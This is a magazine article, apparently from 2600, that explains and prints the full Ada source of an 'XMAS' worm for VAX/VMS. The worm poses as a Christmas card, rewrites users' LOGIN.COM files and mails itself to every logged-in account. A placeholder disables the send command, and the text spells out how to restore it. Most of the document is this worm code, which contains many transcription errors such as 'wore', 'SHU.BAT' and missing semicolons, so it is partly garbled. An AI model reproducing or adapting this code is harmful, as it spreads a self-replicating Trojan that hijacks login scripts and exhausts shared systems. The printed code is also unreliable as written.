VMS Worm

by Jeff Gray

Last November/December the press began reporting on what is now known to be the work of Robert T. Morris.  After attending a lecture featuring his Internet worm, I began thinking how other operating systems, besides UNIX, pose security problems (i.e., VMS).  VMS is a popular operating system for DEC's VAX family of computers.  This article offers a coded example of an elementary worm that works under VMS.  The worm does not attach itself to a host program like a virus, but propagates by reproducing entire copies to other accounts.  This worm will not attempt to reproduce itself on other networks.  It is only concerned with the local computer on which it is released.

For safety reasons, the majority of the code was created on a PC using RR Software's Janus/Ada.  After preliminary tests the code was then moved to a VAX and compiled with DEC Ada.  Several vestigial instructions remain that were implemented so the worm would not spread during testing.

The Ada language was chosen far two reasons.  First, I wanted to expand my skill in Ada and thought that this would be a profitable exercise.  Second, I have never seen a virus/worm documented anywhere that was written in Ada.  So it could be safe to assert that this is the first wore written in Ada.  Hopefully an embedded systems programmer using Ada will not insert a modified version of this wore into any weaponry systems!

Code Explanation

The main procedure is named XMAS.

It has seven nested procedures:

  • Display_Card
  • Check_First_Run
  • Make_New_Login_Com
  • Get_Logon_Bak
  • Check
  • Get_SHU
  • Build_Logon_Com

Each procedure performs various functions as the worm moves from account to account.  Also in XMAS, before the nested procedures, one can note several declarations.  These declarations will take care of the many logical file names required, as well as the various structures needed to contain the user names of accounts.

When the worm is originally released it will propagate itself to users only on the system at that particular tine.  It will appear as a Trojan horse to a naive user.  Once the callow user receives the worm, a series of actions occur.  Curiosity will tempt them to execute the program called XMAS.  This wore preys on the naive user who would try to run XMAS.  Its major drawback is in the method of propagation, especially if it is sent to a user who would suspect a Trojan horse.

The first step in XMAS is to call the routine Check_First_Run.

Check_First_Run will decide if the wore is already activated in this account.  It accomplishes this by viewing the LOGIN.COM file.

The LOGIN.COM file is a special file under VMS that can be likened to the AUTOEXEC.BAT file in MS-DOS.  When the user first logs in, VMS will execute those DCL instructions contained in LOGIN.COM.  A marker signal is attached to a new LOGIN.COM of an infected account.  Check_First_Run will return a Boolean value based on the presence of this marker.

After returning from Check_First_Run, XMAS must make a decision based on the received Boolean called "Yes".  If the worm has never been installed, execution is transferred to Make_New_Login_Com which creates the important new LOGIN.COM file.  If the Boolean "Yes" is false then a chain of events follow which result in the creation of another DCL file called LOGIN.COM.

The LOGIN.COM begins to be crafted with a call from XMAS to Build_Logon_Com.

Build_Logon_Com will make the necessary calls needed to build LOGIN.COM.  LOGIN.COM will eventually be a DCL file that does the actual propagation as explained later.  Please see code comments for more detailed explanation of the above process.

Finally, the XMAS procedure will execute Display_Card every time the executable is called.  This will display a seemingly innocent message long after the worm has performed its duties.

Conclusion

Admittedly there are many flaws with this worm implementation.  Various features could be added to improve on the success ratio.  There also is a chance that embedded bugs exist because certain traits could not be adequately tested.  The purpose, however, was to create a worm that offered educational value by performing the basic steps needed for propagation.  If the code explanation seems confusing, play computer and study the flow of execution.  The Ada code is somewhat logical and should not offer serious problems.

Simple worms, similar to the one presented, can be created for practically every operating system that allows some sort of communication between users (like the SEND command, or a mail/phone utility).  An operating system that totally guarded against worms/viruses by liaising user communication would probably be useless.  An effective OS should allow communication between its various users.  A certain amount of trust and responsibility needs to be formed for such systems to successfully continue existing.

VMS-worm.ada:

-- ********************************************************************************************
-- WORM
-- Worm demonstration on a VAX computer implemented by the Ada language.
-- 90% of the work done on RR Software Janus/Ada
--
-- Version Number : 1  (C) Copyright 1988, 1989 Jeff Gray
--
-- To my girlfriend, Victoria ...
-- ********************************************************************************************

with Text_IO; use Text_IO; -- Needed for basic IO

-- procedure XMAS :
--
-- This is the main procedure which starts the worm on its desired path
-- toward infection.
--
-- Requires: Check_First_Run, Make_New_Login_Com, Build_Logon_Com, Display_Card
procedure XMAS is

-- The following declare the various logical files that are needed. It
-- first declares an array which holds the names of 300 users on the
-- system who have been infected. Constant of 300 may wish to be edited.

type User_List_Type is array(1..300) of String(1..8);

  User_List : User_List_Types;
User_Length : Natural := 0;
      Login : File_Type;
      Logon : File_Type;
     Logon2 : File_Type;
        SHU : File_Type;
       Temp : String(1..8);
 Whole_Line : String(1..80);
       Last : Integer;
        Yes : Boolean;

-- Beginning of nested procedures...
--
-- procedure Display_Card :
--
-- This simple procedure clears the screen on a VT-100 and then displays
-- a seemingly innocuous message. This is displayed alter the worm has
-- finished its business.
--
-- Serves : XMAS
procedure Display_Card is

begin
  Put (ASCII.ESC);
  Put ("[2J");
  New_Line(5);
  Set_Col(12);
  Put_Line("MERRY XMAS");
  New_Line(3);
  Set_Col(28);
  Put_Line("And a Happy New Year!!!");
end Display_Card;

-- procedure Check_First_Run :
--
-- Check_First_Run will look at the current LOGIN.CON file, if available,
-- and determine if the account has already been infected.  It will return
-- a Boolean based on whether it has been infected or not.
--
-- Serves: XMAS
procedure Check_First_Run(Answer : out Boolean) is

Test : String(1..13); -- Hold first line of LOGIN.COM
Last : Integer;       -- Length of first line in LOGIN.COM

begin
  Open(Login, In_File, "LOGIN.COM");
  Get_Line(Login, Test, Last);
  Close(Login);
  if Test = "$ M := MARKER" then
    Answer := False; -- Account already infected.
  else
    Answer := True;  -- First tine worm executed.
  end if;
  exception                -- Error handler :
    when others => null;   -- Control passes here if no
    Answer := True;        -- LOGIN.CON exists. 
                           -- This indicates first time worm executed.

end Check_First_Run;

-- procedure Make_New_login_Com : 
--
-- When the worm is first executed on a particular account, this procedure
-- is called in order to create a new LOGIN.COM. The old LOGIN.COM is not
-- destroyed.
--
-- Serves: XMAS
procedure Make_New_Login_Com is

begin
  -- DCL commands explained in text...
  Create(Login, Out_File, "LOGIN.COM");
  Put_Line(Login, "$ M := MARKER");
  Put_Line(Login, "$ DEFINE/USER SYS$OUTPUT SHU.DAT");
  Put_Line(Login, "$ SH U");
  Put_Line(Login, "$ RUN XMAS");
  Put_Line(Login, "$ @LOGON");
  -- A manipulation task could be appended to above file.
  Close(Login);
end Make_New_Login_Com;

-- procedure Get_Logon_Bak :

-- The worm is executed each tine the user logs in. To prevent too many
-- copies being sent to same account, the LOGON.BAK file is used to keep track
-- of who received the worm from a particular account. It will not send the
-- worm again to those found in LOGON.BAK. A problem exists in that each
-- LOGON.BAK file is different for each account, as explained in text.
--
-- Serves: Build_Logon_Com
procedure Get_Logon_Bak is

begin
  User_Length := 0;
  Open(Logon2, In_File, "LOGON.BAK");
  loop
  if not End_Of_File(Logon2) then         -- Insert all names in
    User_Length := User_Length + 1;       -- LOGON.BAK into the
    Get_Line(Logon2, Whole_Line, Last);   -- large array.
    User_List(User_Length) := Whole_Line(1..8);
  else
    exit;
  end if;
  end loop;
  Close(Logon2);
  exception              -- Error handler :
    when others => null; -- If no LOGON.BAK existed previously, then
                         -- no names are copied into array.
end Get_Logon_Bak;

-- procedure Check :
--
-- Check will test to see if the current account name being analyzed
-- from SHU.DAT is already in the user name array formed form LOGON.BAK.
-- It returns a Boolean based on the result of the test.
--
-- Serves: Get_SHU
procedure Check(Answer : out Boolean) is

-- Temp is a global which holds the name of the current account
-- being referenced form SHU.BAT. It is assigned in Get_SHU.
begin
  Answer := True;         -- Innocent unless proven otherwise...
  for I in 1..User_Length -- Loop through array of past recipients.
  loop
  if User_List(I) = Temp then -- If found in array, then this account
    Answer := False;            -- has already been Infected. Set Boolean
    exit;                       -- to proper state.
  end if;
  end loop;
end Check;

-- procedure Get_SHU :
--
-- Probably the most important  procedure,  it will check valid account names
-- found in SHU.DAT and see if they have been infected by calling procedure
-- Check. It will then add  uninfected names on the list contained in
-- LOGON.COM which will perform the propagation.
--
-- Requests : Check
-- Serves : Build_Logon_Com
procedure Get_SHU is

begin
  Open(SHU, In_File, "SHU.BAT");
  Create(Logon, Out_File, "LOGON.COM");
  Put_Line(Logon, "$ PURGE LOGON.*"); -- Erase all past occurrences
  Put_Line(Logon, "$ PURGE SHU.BAT"); -- of LOGON.COM and SHU.DAT.
  for I in 1..5                       -- Skip past the junk in SHU.DAT
  loop
    Get_Line(SHU, Whole_Line, Last);  -- "VAX/VMS Interactive..."
  end loop;                           -- and get to the first account.
  loop;
  if not End_Of_File(SHU) then
    Get_Line(SHU, Whole_Line, Last); -- Get a new account name from
    Temp := Whole_Line(2..9);        -- SHU.DAT and store in Temp.
    Check(Yes);
    if Yes = True then
      if User_Length < 300 then         -- If account in Temp not already
        User_Length := User_Length + 1  -- infected AND we did not exceed
        User_List(User_Length) := Temp  -- user list array, then add this
        Put(Logon, "$ XXXX XMAS.EXE"))  -- account to the list to be
                                        -- infected by LOGON.COM.
-- Bad programming style of hardcoding the constant 300. Tsk, Tsk...
-- For the worm to work properly, must replace XXXX with : SEND/FILE/VMSDUMP
-- in the preceding line.
--
-- This was used as a precaution during testing to
-- make sure that the worm would not be set loose. After testing, I
-- have concluded that if set loose, this  program could create havoc
-- on a system like ----- by tying up resources. A modified version with
-- a malicious manipulation task could offer even further danger.
        Put_Line(Logon, Temp);  -- Append account name to end of
                                -- SEND command.
      end if;
    end if;
  else
    Close(SHU);
    Close(LOGON);
    exit;
  end if;
  end loop;
  exception                -- Error handler :
    when others => null;   -- In case of any freak file errors.
end Get_SHU;

-- procedure Build_Logon_Com
--
-- After worm is executed and control returns to LOGIN.COM, a DCL file
-- is executed named LOGON.COM. This procedure calls routines that build
-- the file. The article text offers explanation of DCL commands used.
--
-- Requests: Get_Logon_Bak, Get_SHU
-- Serves: XMAS
procedure Build_Logon_Com is

begin
  Get_Logon_Bak;
  Get_SHU;
-- Update the LOGON.BAK file so that it is up to date with the new
-- accounts infected that were found from SHU.DAT
-- That old LOGON.BAK is purged by new LOGON.COM. Sorry if nomenclature
-- of file names confuses you.
  Create(Logon2, Out_File, "LOGON.BAK");
  for I in 1..User_Length           -- Loop through entire array,
  loop                              -- including new entries from
    Put_Line(Logon2, User_List(I)); -- SHU.DAT, and place them in
  end loop;                         -- a new LOGON.BAK
  Close(Logon2);
end Build_Logon_Com;

-- Here starts the code for XMAS ...

begin
  Check_First Run(Yes);    -- Check to see if already infected.
  if Yes = True then       -- If never infected before, then build
                           -- new LOGIN.COM to start propagation on
    Make_New_Login_Com;    -- next log in.
  else
    Build_Logon_Com;       -- If already infected, then commence process
                           -- to propagate to users found in SHU.DAT.
  end if;
    Display_Card;          -- After dirty work 1s done, then display
                           -- XMAS greetings.
end XMAS; -- Merry Christmas!

Code: VMS-worm.ada

Return to $2600 Index